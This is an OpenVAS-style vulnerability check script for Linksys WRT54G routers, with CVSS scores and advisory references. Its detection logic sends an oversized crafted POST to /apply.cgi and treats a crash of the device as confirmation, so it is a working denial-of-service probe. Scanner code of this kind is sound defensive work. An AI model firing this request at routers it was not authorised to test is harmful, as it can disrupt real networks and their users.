CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
97.9%
Linksys WRT54G Wireless Router devices are prone to multiple
vulnerabilities.
# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.20096");
script_version("2024-05-08T05:05:32+0000");
script_tag(name:"last_modification", value:"2024-05-08 05:05:32 +0000 (Wed, 08 May 2024)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_cve_id("CVE-2005-2799", "CVE-2005-2912", "CVE-2005-2914", "CVE-2005-2915",
"CVE-2005-2916");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("Linksys WRT54G Wireless Router < 4.20.7 Multiple Vulnerabilities - Active Check");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
script_family("Gain a shell remotely");
script_dependencies("gb_get_http_banner.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("WRT54G/banner");
script_xref(name:"URL", value:"https://web.archive.org/web/20210218014817/http://www.securityfocus.com/bid/14822/");
script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=304&type=vulnerabilities");
script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=305&type=vulnerabilities");
script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=306&type=vulnerabilities");
script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=307&type=vulnerabilities");
script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=308&type=vulnerabilities");
script_xref(name:"OSVDB", value:"19386");
script_xref(name:"OSVDB", value:"19387");
script_xref(name:"OSVDB", value:"19388");
script_xref(name:"OSVDB", value:"19389");
script_xref(name:"OSVDB", value:"19390");
script_tag(name:"summary", value:"Linksys WRT54G Wireless Router devices are prone to multiple
vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted request via HTTP POST and checks whether
the remote host stops responding.");
script_tag(name:"insight", value:"The firmware version installed on the remote host is prone to
several flaws:
- Execute arbitrary commands on the affected router with root privileges.
- Download and replace the configuration of affected routers via a special POST request to the
'restore.cgi' or 'upgrade.cgi' scripts.
- Allow remote attackers to obtain encrypted configuration information and, if the key is known,
modify the configuration.
- Degrade the performance of affected devices and cause the Web server to become unresponsive,
potentially denying service to legitimate users.");
script_tag(name:"solution", value:"Update to firmware version 4.20.7 or later.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port(default:80);
if (http_is_dead(port:port))
exit(0);
banner = http_get_remote_headers(port:port);
if (banner && 'realm="WRT54G"' >< banner) {
soc = http_open_socket(port);
if (!soc)
exit(0);
len = 11000; # 10058 should be enough
req = string("POST ", "/apply.cgi", " HTTP/1.0\r\nContent-Length: ", len,
"\r\n\r\n", crap(len), "\r\n");
send(socket:soc, data:req);
http_close_socket(soc);
sleep(1);
if(http_is_dead(port:port)) {
security_message(port:port);
exit(0);
}
exit(99);
}
exit(0);
19386
19387
19388
19389
19390
www.idefense.com/application/poi/display?id=304&type=vulnerabilities
www.idefense.com/application/poi/display?id=305&type=vulnerabilities
www.idefense.com/application/poi/display?id=306&type=vulnerabilities
www.idefense.com/application/poi/display?id=307&type=vulnerabilities
www.idefense.com/application/poi/display?id=308&type=vulnerabilities
web.archive.org/web/20210218014817/www.securityfocus.com/bid/14822/